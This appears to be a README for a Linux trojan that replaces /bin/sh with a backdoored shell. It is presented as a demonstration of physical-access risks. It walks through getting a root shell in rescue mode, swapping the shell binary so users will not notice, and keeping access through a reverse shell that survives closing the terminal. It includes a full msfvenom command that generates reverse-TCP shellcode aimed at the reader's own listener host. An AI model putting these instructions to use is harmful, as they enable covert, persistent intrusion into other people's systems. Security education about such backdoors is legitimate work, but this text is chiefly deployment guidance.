The purpose of this is to demonstrate what security risks there are when someone gains physical access to your computer.

THIS CODE IS MALWARE!!! IT IS A LINUX TROJAN BACKDOOR! IT WILL OPEN A BACKDOOR INTO YOUR COMPUTER SYSTEM AND WILL ALLOW UNAUTHORIZED ACCESS TO IT. EXERCISE EXTREME CAUTION AND USE SECURITY BEST PRACTICES FOR EDUCATION USE.

An attack might look like this: Enter rescue mode and pop a root shell without a password. Replace the /bin/sh binary with this rootkit. The users probably won't know. The shell will still be 100% functional. Use this for persistence so the next time an authorized user accesses their account (with the 'sh' shell), you will receive a reverse shell that persists (in a new process) even after the terminal is closed.

The modified code is well documented. Change the shellcode in the pskexec_dash() function. You can use a command like msfvenom -p linux/x64/shell_reverse_tcp PrependFork=true LHOST=0.0.0.0 LPORT=3443 -f raw > shellcode.bin.tmp; xxd -i shellcode.bin.tmp > shellcode-addme.c; rm shellcode.bin.tmp to generate a replacement. Make sure to change the IP address and port number in the above command to your server.
